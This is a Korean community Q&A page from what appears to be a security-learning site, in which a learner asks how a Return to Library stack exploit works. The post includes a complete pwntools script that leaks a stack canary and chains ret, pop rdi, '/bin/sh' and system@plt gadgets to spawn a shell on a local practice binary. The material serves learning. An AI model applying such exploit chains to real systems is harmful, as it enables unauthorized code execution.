인기글🔥
지금 인기 있는 게시글을 한 눈에 모아보세요.
보상이 걸린 질문
질문에 답변을 달고 보상을 받아가세요!
어느정도 코드를 읽어보면서, 페이로드를 짜봤는데요 fetch를 사용하니, 개발자도구-콘솔에서 입력 시에 풀이가 되어야하지 않나요? 게시글로 작성하는건지... 도구로 입력하면 되는건지.. 모르겠습니다.. 둘다 시도해봐도.. 401만 뜨네요 😂
안녕하세요 Return to Library 강의 듣던 중 궁금증이 생겨서 이렇게 질문을 남기게 되었습니다. 메모리 구조가 이렇다고 했을 때 |buf | canary | sfp | ret| 익스플로잇 후에는 'A'0x38 | canary | 'B'0x8 | 8byte(no-op gadget) | 리턴 가젯의 주소 | '/bin/sh'의 주소 | system 함수의 plt 주소 그렇다면 8바이트의 no-op 가젯부터 system 함수의 plt 주소가 RET 자리에 덮어 씌워지는 것인가요? ' 추가로 반환 주소(RET) 자리에 가젯을 덮어씌우면 어디서 실행되는 것인지 궁금합니다. (ex. 셸 코드를 버퍼에 주입하는 공격은 스택에서 실행되는 것으로 이해 했습니다. 하지만 Return to Library 코드의 예제에는 NX 보호 기법이 걸려 있기에 실행 권한이 코드 영역에만 남아있는 것으로 알고 있습니다. ) ' 리턴 가젯을 이해하기가 어려워 검색을 많이 해서 조금이나마 이해를 했지만 어떤 함수를 실행하기 위한 큰 틀(조각)이라고 정도로 이해하면 될까요? 반환 주소에 리턴 가젯을 덮어씌워서 ret 명령어가 실행되기 전에 공격자가 원하는 함수를 실행하도록 하는 역할을 하는 것으로 이해하면 될까요? ' 대략 간단하게 공격 기법을 정리하여 설명해주시면 정말 감사하겠습니다 ㅠㅠ 여기서 개념이 너무 어려워서 막혔습니다ㅠㅠ #!/usr/bin/env python3 Name: rtl.py from pwn import * p = process('./rtl') e = ELF('./rtl') def slog(name, addr): return success(': '.join([name, hex(addr)])) [1] Leak canary buf = b'A' * 0x39 p.sendafter(b'Buf: ', buf) p.recvuntil(buf) cnry = u64(b'\x00' + p.recvn(7)) slog('canary', cnry) [2] Exploit system_plt = e.plt['system'] binsh = 0x400874 pop_rdi = 0x0000000000400853 ret = 0x0000000000400285 payload = b'A'0x38 + p64(cnry) + b'B'0x8 payload += p64(ret) # align stack to prevent errors caused by movaps payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system_plt) pause() p.sendafter(b'Buf: ', payload) p.interactive() `
커뮤니티 최신글